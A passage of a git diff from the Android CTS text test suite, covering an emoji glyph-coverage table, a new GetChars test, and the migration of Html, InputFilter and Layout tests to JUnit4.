+        0x1F64B, // HAPPY PERSON RAISING ONE HAND
+        0x1F64C, // PERSON RAISING BOTH HANDS IN CELEBRATION
+        0x1F64D, // PERSON FROWNING
+        0x1F64E, // PERSON WITH POUTING FACE
+        0x1F64F, // PERSON WITH FOLDED HANDS
+        0x1F680, // ROCKET
+        0x1F681, // HELICOPTER
+        0x1F682, // STEAM LOCOMOTIVE
+        0x1F683, // RAILWAY CAR
+        0x1F684, // HIGH-SPEED TRAIN
+        0x1F685, // HIGH-SPEED TRAIN WITH BULLET NOSE
+        0x1F686, // TRAIN
+        0x1F687, // METRO
+        0x1F688, // LIGHT RAIL
+        0x1F689, // STATION
+        0x1F68A, // TRAM
+        0x1F68B, // TRAM CAR
+        0x1F68C, // BUS
+        0x1F68D, // ONCOMING BUS
+        0x1F68E, // TROLLEYBUS
+        0x1F68F, // BUS STOP
+        0x1F690, // MINIBUS
+        0x1F691, // AMBULANCE
+        0x1F692, // FIRE ENGINE
+        0x1F693, // POLICE CAR
+        0x1F694, // ONCOMING POLICE CAR
+        0x1F695, // TAXI
+        0x1F696, // ONCOMING TAXI
+        0x1F697, // AUTOMOBILE
+        0x1F698, // ONCOMING AUTOMOBILE
+        0x1F699, // RECREATIONAL VEHICLE
+        0x1F69A, // DELIVERY TRUCK
+        0x1F69B, // ARTICULATED LORRY
+        0x1F69C, // TRACTOR
+        0x1F69D, // MONORAIL
+        0x1F69E, // MOUNTAIN RAILWAY
+        0x1F69F, // SUSPENSION RAILWAY
+        0x1F6A0, // MOUNTAIN CABLEWAY
+        0x1F6A1, // AERIAL TRAMWAY
+        0x1F6A2, // SHIP
+        0x1F6A3, // ROWBOAT
+        0x1F6A4, // SPEEDBOAT
+        0x1F6A5, // HORIZONTAL TRAFFIC LIGHT
+        0x1F6A6, // VERTICAL TRAFFIC LIGHT
+        0x1F6A7, // CONSTRUCTION SIGN
+        0x1F6A8, // POLICE CARS REVOLVING LIGHT
+        0x1F6A9, // TRIANGULAR FLAG ON POST
+        0x1F6AA, // DOOR
+        0x1F6AB, // NO ENTRY SIGN
+        0x1F6AC, // SMOKING SYMBOL
+        0x1F6AD, // NO SMOKING SYMBOL
+        0x1F6AE, // PUT LITTER IN ITS PLACE SYMBOL
+        0x1F6AF, // DO NOT LITTER SYMBOL
+        0x1F6B0, // POTABLE WATER SYMBOL
+        0x1F6B1, // NON-POTABLE WATER SYMBOL
+        0x1F6B2, // BICYCLE
+        0x1F6B3, // NO BICYCLES
+        0x1F6B4, // BICYCLIST
+        0x1F6B5, // MOUNTAIN BICYCLIST
+        0x1F6B6, // PEDESTRIAN
+        0x1F6B7, // NO PEDESTRIANS
+        0x1F6B8, // CHILDREN CROSSING
+        0x1F6B9, // MENS SYMBOL
+        0x1F6BA, // WOMENS SYMBOL
+        0x1F6BB, // RESTROOM
+        0x1F6BC, // BABY SYMBOL
+        0x1F6BD, // TOILET
+        0x1F6BE, // WATER CLOSET
+        0x1F6BF, // SHOWER
+        0x1F6C0, // BATH
+        0x1F6C1, // BATHTUB
+        0x1F6C2, // PASSPORT CONTROL
+        0x1F6C3, // CUSTOMS
+        0x1F6C4, // BAGGAGE CLAIM
+        0x1F6C5, // LEFT LUGGAGE
+        0x1F6CB, // COUCH AND LAMP
+        0x1F6CC, // SLEEPING ACCOMMODATION
+        0x1F6CD, // SHOPPING BAGS
+        0x1F6CE, // BELLHOP BELL
+        0x1F6CF, // BED
+        0x1F6D0, // PLACE OF WORSHIP
+        0x1F6D1, // OCTAGONAL SIGN
+        0x1F6D2, // SHOPPING TROLLEY
+        0x1F6E0, // HAMMER AND WRENCH
+        0x1F6E1, // SHIELD
+        0x1F6E2, // OIL DRUM
+        0x1F6E3, // MOTORWAY
+        0x1F6E4, // RAILWAY TRACK
+        0x1F6E5, // MOTOR BOAT
+        0x1F6E9, // SMALL AIRPLANE
+        0x1F6EB, // AIRPLANE DEPARTURE
+        0x1F6EC, // AIRPLANE ARRIVING
+        0x1F6F0, // SATELLITE
+        0x1F6F3, // PASSENGER SHIP
+        0x1F6F4, // SCOOTER
+        0x1F6F5, // MOTOR SCOOTER
+        0x1F6F6, // CANOE
+        0x1F6F7, // SLED
+        0x1F6F8, // FLYING SAUCER
+        0x1F910, // ZIPPER-MOUTH FACE
+        0x1F911, // MONEY-MOUTH FACE
+        0x1F912, // FACE WITH THERMOMETER
+        0x1F913, // NERD FACE
+        0x1F914, // THINKING FACE
+        0x1F915, // FACE WITH HEAD-BANDAGE
+        0x1F916, // ROBOT FACE
+        0x1F917, // HUGGING FACE
+        0x1F918, // SIGN OF THE HORNS
+        0x1F919, // CALL ME HAND
+        0x1F91A, // RAISED BACK OF HAND
+        0x1F91B, // LEFT-FACING FIST
+        0x1F91C, // RIGHT-FACING FIST
+        0x1F91D, // HANDSHAKE
+        0x1F91E, // HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+        0x1F91F, // LOVE-YOU GESTURE
+        0x1F920, // FACE WITH COWBOY HAT
+        0x1F921, // CLOWN FACE
+        0x1F922, // NAUSEATED FACE
+        0x1F923, // ROLLING ON THE FLOOR LAUGHING
+        0x1F924, // DROOLING FACE
+        0x1F925, // LYING FACE
+        0x1F926, // FACE PALM
+        0x1F927, // SNEEZING FACE
+        0x1F928, // FACE WITH RAISED EYEBROW
+        0x1F929, // STAR-STRUCK
+        0x1F92A, // CRAZY FACE
+        0x1F92B, // SHUSHING FACE
+        0x1F92C, // FACE WITH SYMBOLS OVER MOUTH
+        0x1F92D, // FACE WITH HAND OVER MOUTH
+        0x1F92E, // FACE VOMITING
+        0x1F92F, // EXPLODING HEAD
+        0x1F930, // PREGNANT WOMAN
+        0x1F931, // BREAST-FEEDING
+        0x1F932, // PALMS UP TOGETHER
+        0x1F933, // SELFIE
+        0x1F934, // PRINCE
+        0x1F935, // MAN IN TUXEDO
+        0x1F936, // MOTHER CHRISTMAS
+        0x1F937, // SHRUG
+        0x1F938, // PERSON DOING CARTWHEEL
+        0x1F939, // JUGGLING
+        0x1F93A, // FENCER
+        0x1F93C, // WRESTLERS
+        0x1F93D, // WATER POLO
+        0x1F93E, // HANDBALL
+        0x1F940, // WILTED FLOWER
+        0x1F941, // DRUM WITH DRUMSTICKS
+        0x1F942, // CLINKING GLASSES
+        0x1F943, // TUMBLER GLASS
+        0x1F944, // SPOON
+        0x1F945, // GOAL NET
+        0x1F947, // FIRST PLACE MEDAL
+        0x1F948, // SECOND PLACE MEDAL
+        0x1F949, // THIRD PLACE MEDAL
+        0x1F94A, // BOXING GLOVE
+        0x1F94B, // MARTIAL ARTS UNIFORM
+        0x1F94C, // CURLING STONE
+        0x1F950, // CROISSANT
+        0x1F951, // AVOCADO
+        0x1F952, // CUCUMBER
+        0x1F953, // BACON
+        0x1F954, // POTATO
+        0x1F955, // CARROT
+        0x1F956, // BAGUETTE BREAD
+        0x1F957, // GREEN SALAD
+        0x1F958, // SHALLOW PAN OF FOOD
+        0x1F959, // STUFFED FLATBREAD
+        0x1F95A, // EGG
+        0x1F95B, // GLASS OF MILK
+        0x1F95C, // PEANUTS
+        0x1F95D, // KIWIFRUIT
+        0x1F95E, // PANCAKES
+        0x1F95F, // DUMPLING
+        0x1F960, // FORTUNE COOKIE
+        0x1F961, // TAKEOUT BOX
+        0x1F962, // CHOPSTICKS
+        0x1F963, // BOWL WITH SPOON
+        0x1F964, // CUP WITH STRAW
+        0x1F965, // COCONUT
+        0x1F966, // BROCCOLI
+        0x1F967, // PIE
+        0x1F968, // PRETZEL
+        0x1F969, // CUT OF MEAT
+        0x1F96A, // SANDWICH
+        0x1F96B, // CANNED FOOD
+        0x1F980, // CRAB
+        0x1F981, // LION FACE
+        0x1F982, // SCORPION
+        0x1F983, // TURKEY
+        0x1F984, // UNICORN FACE
+        0x1F985, // EAGLE
+        0x1F986, // DUCK
+        0x1F987, // BAT
+        0x1F988, // SHARK
+        0x1F989, // OWL
+        0x1F98A, // FOX FACE
+        0x1F98B, // BUTTERFLY
+        0x1F98C, // DEER
+        0x1F98D, // GORILLA
+        0x1F98E, // LIZARD
+        0x1F98F, // RHINOCEROS
+        0x1F990, // SHRIMP
+        0x1F991, // SQUID
+        0x1F992, // GIRAFFE
+        0x1F993, // ZEBRA
+        0x1F994, // HEDGEHOG
+        0x1F995, // SAUROPOD
+        0x1F996, // T-REX
+        0x1F997, // CRICKET
+        0x1F9C0, // CHEESE WEDGE
+        0x1F9D0, // FACE WITH MONOCLE
+        0x1F9D1, // ADULT
+        0x1F9D2, // CHILD
+        0x1F9D3, // OLDER ADULT
+        0x1F9D4, // BEARDED PERSON
+        0x1F9D5, // WOMAN WITH HEADSCARF
+        0x1F9D6, // PERSON IN STEAMY ROOM
+        0x1F9D7, // PERSON CLIMBING
+        0x1F9D8, // PERSON IN LOTUS POSITION
+        0x1F9D9, // MAGE
+        0x1F9DA, // FAIRY
+        0x1F9DB, // VAMPIRE
+        0x1F9DC, // MERPERSON
+        0x1F9DD, // ELF
+        0x1F9DE, // GENIE
+        0x1F9DF, // ZOMBIE
+        0x1F9E0, // BRAIN
+        0x1F9E1, // ORANGE HEART
+        0x1F9E2, // BILLED CAP
+        0x1F9E3, // SCARF
+        0x1F9E4, // GLOVES
+        0x1F9E5, // COAT
+        0x1F9E6, // SOCKS
+    };
+
+    @Test
+    public void testEmojiCoverage() {
+        final Paint paint = new Paint();
+        for (int cp : ALL_EMOJI) {
+            final String characterAsString = new String(Character.toChars(cp));
+            assertTrue(String.format("No glyph for U+%04X", cp), paint.hasGlyph(characterAsString));
+        }
+    }
+}
diff --git a/tests/tests/text/src/android/text/cts/GetCharsTest.java b/tests/tests/text/src/android/text/cts/GetCharsTest.java
new file mode 100644
index 0000000..8faf638
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/GetCharsTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.GetChars;
+import android.text.SpannableString;
+import android.text.SpannableStringBuilder;
+import android.text.SpannedString;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GetCharsTest {
+
+    // Returns an array of three GetChars objects, of three different classes:
+    // SpannableString, SpannableStringBuilder, and SpannedString.
+    private static GetChars[] makeGetChars(String s) {
+        return new GetChars[]{
+                new SpannableString(s),
+                new SpannableStringBuilder(s),
+                new SpannedString(s)};
+    }
+
+    @Test
+    public void testGetChars() {
+        final GetChars[] getCharsCases = makeGetChars("\uD83D\uDE00");  // U+1F600 GRINNING FACE
+        for (GetChars getChars : getCharsCases) {
+            final char[] target = new char[getChars.length()];
+            getChars.getChars(0, getChars.length(), target, 0);
+            assertEquals('\uD83D', target[0]);
+            assertEquals('\uDE00', target[1]);
+
+            try {
+                getChars.getChars(-1, getChars.length(), target, 0);
+                fail("should throw IndexOutOfBoundsException here");
+            } catch (IndexOutOfBoundsException e) {
+            }
+
+            try {
+                getChars.getChars(1, 0, target, 0);
+                fail("should throw IndexOutOfBoundsException here");
+            } catch (IndexOutOfBoundsException e) {
+            }
+
+            try {
+                getChars.getChars(0, getChars.length() + 1, target, 0);
+                fail("should throw IndexOutOfBoundsException here");
+            } catch (IndexOutOfBoundsException e) {
+            }
+
+            try {
+                getChars.getChars(0, getChars.length(), target, -1);
+                fail("should throw IndexOutOfBoundsException here");
+            } catch (IndexOutOfBoundsException e) {
+            }
+
+            try {
+                getChars.getChars(0, getChars.length(), target, 1);
+                fail("should throw IndexOutOfBoundsException here");
+            } catch (IndexOutOfBoundsException e) {
+            }
+        }
+    }
+}
+
+
diff --git a/tests/tests/text/src/android/text/cts/HtmlTest.java b/tests/tests/text/src/android/text/cts/HtmlTest.java
index ad4d2aa..880da6e 100644
--- a/tests/tests/text/src/android/text/cts/HtmlTest.java
+++ b/tests/tests/text/src/android/text/cts/HtmlTest.java
@@ -16,19 +16,19 @@
 
 package android.text.cts;
 
+import static android.text.Spanned.SPAN_EXCLUSIVE_INCLUSIVE;
+
 import static org.hamcrest.MatcherAssert.assertThat;
-import org.hamcrest.Description;
-import org.hamcrest.BaseMatcher;
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Typeface;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Layout;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.Spanned;
-import android.text.Html.ImageGetter;
-import android.text.Html.TagHandler;
 import android.text.style.AlignmentSpan;
 import android.text.style.BackgroundColorSpan;
 import android.text.style.BulletSpan;
@@ -42,19 +42,25 @@
 import android.text.style.URLSpan;
 import android.text.style.UnderlineSpan;
 
-public class HtmlTest extends AndroidTestCase {
-    private final static int SPAN_EXCLUSIVE_INCLUSIVE = Spannable.SPAN_EXCLUSIVE_INCLUSIVE;
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class HtmlTest {
+    @Test
     public void testSingleTagOnWhileString() {
         final String source = "<b>hello</b>";
 
         Spanned spanned = Html.fromHtml(source);
-        assertSingleTagOnWhileString(spanned);
+        verifySingleTagOnWhileString(spanned);
         spanned = Html.fromHtml(source, null, null);
-        assertSingleTagOnWhileString(spanned);
+        verifySingleTagOnWhileString(spanned);
     }
 
-    private void assertSingleTagOnWhileString(Spanned spanned) {
+    private void verifySingleTagOnWhileString(Spanned spanned) {
         final int expectStart = 0;
         final int expectEnd = 5;
         final int expectLen = 1;
@@ -67,16 +73,17 @@
         assertEquals(expectEnd, spanned.getSpanEnd(spans[0]));
     }
 
+    @Test
     public void testBadHtml() {
         final String source = "Hello <b>b<i>bi</b>i</i>";
 
         Spanned spanned = Html.fromHtml(source);
-        assertBadHtml(spanned);
+        verifyBadHtml(spanned);
         spanned = Html.fromHtml(source, null, null);
-        assertBadHtml(spanned);
+        verifyBadHtml(spanned);
     }
 
-    private void assertBadHtml(Spanned spanned) {
+    private void verifyBadHtml(Spanned spanned) {
         final int start = 0;
         final int end = 100;
         final int spansLen = 3;
@@ -85,6 +92,7 @@
         assertEquals(spansLen, spans.length);
     }
 
+    @Test
     public void testSymbols() {
         final String source = "&copy; &gt; &lt";
         final String expected = "\u00a9 > <";
@@ -95,7 +103,8 @@
         assertEquals(expected, spanned);
     }
 
-    public void testColor() throws Exception {
+    @Test
+    public void testColor() {
         final Class<ForegroundColorSpan> type = ForegroundColorSpan.class;
 
         Spanned s = Html.fromHtml("<font color=\"#00FF00\">something</font>");
@@ -140,7 +149,8 @@
         assertEquals(0xFF444444, colors[0].getForegroundColor());
     }
 
-    public void testUseCssColor() throws Exception {
+    @Test
+    public void testUseCssColor() {
         final Class<ForegroundColorSpan> type = ForegroundColorSpan.class;
         final int flags = Html.FROM_HTML_OPTION_USE_CSS_COLORS;
 
@@ -173,6 +183,7 @@
         assertEquals(0xFFA9A9A9, colors[0].getForegroundColor());
     }
 
+    @Test
     public void testStylesFromHtml() {
         Spanned s = Html.fromHtml("<span style=\"color:#FF0000; background-color:#00FF00; "
                 + "text-decoration:line-through;\">style</span>");
@@ -189,7 +200,8 @@
         assertEquals(1, strike.length);
     }
 
-    public void testParagraphs() throws Exception {
+    @Test
+    public void testParagraphs() {
         SpannableString s = new SpannableString("Hello world");
         assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
                 "<p dir=\"ltr\">Hello world</p>"));
@@ -217,7 +229,24 @@
                 + "<p dir=\"ltr\" style=\"margin-top:0; margin-bottom:0;\">or something</p>"));
     }
 
-    public void testParagraphStyles() throws Exception {
+    @Test
+    public void testBidi() {
+        SpannableString s = new SpannableString("LTR Text");
+        assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
+                "<p dir=\"ltr\">LTR Text</p>"));
+
+        s = new SpannableString("\u0622"); // U+06222 ARABIC LETTER ALEF WITH MADDA ABOVE
+        assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
+                "<p dir=\"rtl\">&#1570;</p>"));
+
+        // Paragraphs with no strong characters should become LTR.
+        s = new SpannableString("===");
+        assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
+                "<p dir=\"ltr\">===</p>"));
+    }
+
+    @Test
+    public void testParagraphStyles() {
         SpannableString s = new SpannableString("Hello world");
         s.setSpan(new AlignmentSpan.Standard(Layout.Alignment.ALIGN_CENTER),
                 0, s.length(), Spanned.SPAN_PARAGRAPH);
@@ -244,7 +273,8 @@
                 + "Hello world</p>"));
     }
 
-    public void testBulletSpan() throws Exception {
+    @Test
+    public void testBulletSpan() {
         SpannableString s = new SpannableString("Bullet1\nBullet2\nNormal paragraph");
         s.setSpan(new BulletSpan(), 0, 8, Spanned.SPAN_PARAGRAPH);
         s.setSpan(new BulletSpan(), 8, 16, Spanned.SPAN_PARAGRAPH);
@@ -257,7 +287,8 @@
                 + "<p dir=\"ltr\" style=\"margin-top:0; margin-bottom:0;\">Normal paragraph</p>"));
     }
 
-    public void testBlockquote() throws Exception {
+    @Test
+    public void testBlockquote() {
         final int start = 0;
 
         SpannableString s = new SpannableString("Hello world");
@@ -273,7 +304,8 @@
                 "<blockquote><p dir=\"ltr\">Hello</p>\n</blockquote>\n<p dir=\"ltr\">world</p>"));
     }
 
-    public void testEntities() throws Exception {
+    @Test
+    public void testEntities() {
         SpannableString s = new SpannableString("Hello <&> world");
         assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
                 "<p dir=\"ltr\">Hello &lt;&amp;&gt; world</p>"));
@@ -287,7 +319,8 @@
                 "<p dir=\"ltr\">Hello&nbsp; world</p>"));
     }
 
-    public void testMarkup() throws Exception {
+    @Test
+    public void testMarkup() {
         final int start = 6;
 
         SpannableString s = new SpannableString("Hello bold world");
@@ -351,7 +384,8 @@
                 + "<span style=\"background-color:#00FF00;\">background</span> world</p>"));
     }
 
-    public void testMarkupFromHtml() throws Exception {
+    @Test
+    public void testMarkupFromHtml() {
         final int expectedStart = 6;
         final int expectedEnd = expectedStart + 6;
 
@@ -372,7 +406,8 @@
      * {@link AlignmentSpan}s. Note that the span will also cover the first newline character after
      * the text.
      */
-    public void testTextAlignCssFromHtml() throws Exception {
+    @Test
+    public void testTextAlignCssFromHtml() {
         String tags[] = {"p", "h1", "h2", "h3", "h4", "h5", "h6", "div", "blockquote"};
 
         for (String tag : tags) {
@@ -417,7 +452,8 @@
         }
     }
 
-    public void testBlockLevelElementsFromHtml() throws Exception {
+    @Test
+    public void testBlockLevelElementsFromHtml() {
         String source = "<blockquote>BLOCKQUOTE</blockquote>"
                 + "<div>DIV</div>"
                 + "<p>P</p>"
@@ -439,7 +475,8 @@
                 Html.fromHtml(source, flags, null, null).toString());
     }
 
-    public void testListFromHtml() throws Exception {
+    @Test
+    public void testListFromHtml() {
         String source = "CITRUS FRUITS:<ul><li>LEMON</li><li>LIME</li><li>ORANGE</li></ul>";
         assertEquals("CITRUS FRUITS:\n\nLEMON\n\nLIME\n\nORANGE\n\n",
                 Html.fromHtml(source).toString());
@@ -459,7 +496,8 @@
                 Html.fromHtml(source, flags, null, null).toString());
     }
 
-    public void testParagraphFromHtml() throws Exception {
+    @Test
+    public void testParagraphFromHtml() {
         final int flags = Html.FROM_HTML_SEPARATOR_LINE_BREAK_PARAGRAPH;
 
         String source = "<p>Line 1</p><p>Line 2</p>";
@@ -487,7 +525,8 @@
                 Html.fromHtml(source).toString());
     }
 
-    public void testHeadingFromHtml() throws Exception {
+    @Test
+    public void testHeadingFromHtml() {
         final int flags = Html.FROM_HTML_SEPARATOR_LINE_BREAK_HEADING;
 
         String source = "<h1>Heading 1</h1><h1>Heading 2</h1>";
@@ -509,25 +548,29 @@
                 Html.fromHtml(source).toString());
     }
 
-    public void testImg() throws Exception {
+    @Test
+    public void testImg() {
         Spanned s = Html.fromHtml("yes<img src=\"http://example.com/foo.gif\">no");
         assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
                 "<p dir=\"ltr\">yes<img src=\"http://example.com/foo.gif\">no</p>"));
     }
 
-    public void testUtf8() throws Exception {
+    @Test
+    public void testUtf8() {
         Spanned s = Html.fromHtml("<p>\u0124\u00eb\u0142\u0142o, world!</p>");
         assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
                 "<p dir=\"ltr\">&#292;&#235;&#322;&#322;o, world!</p>"));
     }
 
-    public void testSurrogates() throws Exception {
+    @Test
+    public void testSurrogates() {
         Spanned s = Html.fromHtml("\ud83d\udc31");
         assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace(
                 "<p dir=\"ltr\">&#128049;</p>"));
     }
 
-    public void testBadSurrogates() throws Exception {
+    @Test
+    public void testBadSurrogates() {
         Spanned s = Html.fromHtml("\udc31\ud83d");
         assertThat(Html.toHtml(s), matchesIgnoringTrailingWhitespace("<p dir=\"ltr\"></p>"));
     }
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
index 2eec7d7..9e5d293 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
@@ -16,15 +16,22 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputFilter;
-import android.text.SpannableStringBuilder;
 import android.text.InputFilter.AllCaps;
+import android.text.SpannableStringBuilder;
 
-public class InputFilter_AllCapsTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputFilter_AllCapsTest {
+    @Test
     public void testFilter() {
-
         // Implicitly invoked
         CharSequence source = "Caps";
         SpannableStringBuilder dest = new SpannableStringBuilder("AllTest");
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java b/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
index db06ef6..722ad19 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
@@ -16,13 +16,21 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputFilter;
-import android.text.SpannableStringBuilder;
 import android.text.InputFilter.LengthFilter;
+import android.text.SpannableStringBuilder;
 
-public class InputFilter_LengthFilterTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputFilter_LengthFilterTest {
+    @Test
     public void testFilter() {
         // Define the variables
         CharSequence source;
@@ -31,6 +39,8 @@
         LengthFilter lengthFilter = new LengthFilter(10);
         InputFilter[] filters = {lengthFilter};
 
+        assertEquals(10, lengthFilter.getMax());
+
         // filter() implicitly invoked. If the total length > filter length, the filter will
         // cut off the source CharSequence from beginning to fit the filter length.
         source = "abc";
diff --git a/tests/tests/text/src/android/text/cts/LayoutTest.java b/tests/tests/text/src/android/text/cts/LayoutTest.java
index 973d883..6b6c4fc 100644
--- a/tests/tests/text/src/android/text/cts/LayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/LayoutTest.java
@@ -16,17 +16,38 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Paint;
+import android.graphics.Path;
 import android.graphics.Rect;
-import android.test.AndroidTestCase;
+import android.graphics.RectF;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
+import android.text.Layout.Alignment;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.TextPaint;
-import android.text.Layout.Alignment;
 import android.text.style.StrikethroughSpan;
 
-public class LayoutTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LayoutTest {
     private final static int LINE_COUNT = 5;
     private final static int LINE_HEIGHT = 12;
     private final static int LINE_DESCENT = 4;
@@ -34,75 +55,79 @@
 
     private int mWidth;
     private Layout.Alignment mAlign;
-    private float mSpacingmult;
-    private float mSpacingadd;
+    private float mSpacingMult;
+    private float mSpacingAdd;
     private SpannableString mSpannedText;
 
     private TextPaint mTextPaint;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mTextPaint = new TextPaint();
         mSpannedText = new SpannableString(LAYOUT_TEXT);
         mSpannedText.setSpan(new StrikethroughSpan(), 0, 1, Spannable.SPAN_INCLUSIVE_EXCLUSIVE);
         mWidth = 11;
         mAlign = Alignment.ALIGN_CENTER;
-        mSpacingmult = 1;
-        mSpacingadd = 2;
+        mSpacingMult = 1;
+        mSpacingAdd = 2;
     }
 
+    @Test
     public void testConstructor() {
-        new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingmult, mSpacingadd);
-
-        try {
-            new MockLayout(null, null, -1, null, 0, 0);
-            fail("should throw IllegalArgumentException here");
-        } catch (IllegalArgumentException e) {
-        }
+        new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorNull() {
+        new MockLayout(null, null, -1, null, 0, 0);
+    }
+
+    @Test
     public void testGetText() {
         CharSequence text = "test case 1";
         Layout layout = new MockLayout(text, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(text, layout.getText());
 
-        layout = new MockLayout(null, mTextPaint, mWidth, mAlign, mSpacingmult, mSpacingadd);
+        layout = new MockLayout(null, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
         assertNull(layout.getText());
     }
 
+    @Test
     public void testGetPaint() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
 
         assertSame(mTextPaint, layout.getPaint());
 
-        layout = new MockLayout(LAYOUT_TEXT, null, mWidth, mAlign, mSpacingmult, mSpacingadd);
+        layout = new MockLayout(LAYOUT_TEXT, null, mWidth, mAlign, mSpacingMult, mSpacingAdd);
         assertNull(layout.getPaint());
     }
 
+    @Test
     public void testGetWidth() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 10,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(10,  layout.getWidth());
 
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingmult, mSpacingadd);
+        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(0,  layout.getWidth());
     }
 
+    @Test
     public void testGetEllipsizedWidth() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 15,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(15, layout.getEllipsizedWidth());
 
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingmult, mSpacingadd);
+        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(0,  layout.getEllipsizedWidth());
     }
 
+    @Test
     public void testIncreaseWidthTo() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         int oldWidth = layout.getWidth();
 
         layout.increaseWidthTo(oldWidth);
@@ -118,40 +143,45 @@
         assertEquals(oldWidth + 1, layout.getWidth());
     }
 
+    @Test
     public void testGetHeight() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertEquals(60, layout.getHeight());
     }
 
+    @Test
     public void testGetAlignment() {
         Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingmult, mSpacingadd);
+                mAlign, mSpacingMult, mSpacingAdd);
         assertSame(mAlign, layout.getAlignment());
 
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, null, mSpacingmult, mSpacingadd);
+        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, null, mSpacingMult, mSpacingAdd);
         assertNull(layout.getAlignment());
     }
 
+    @Test
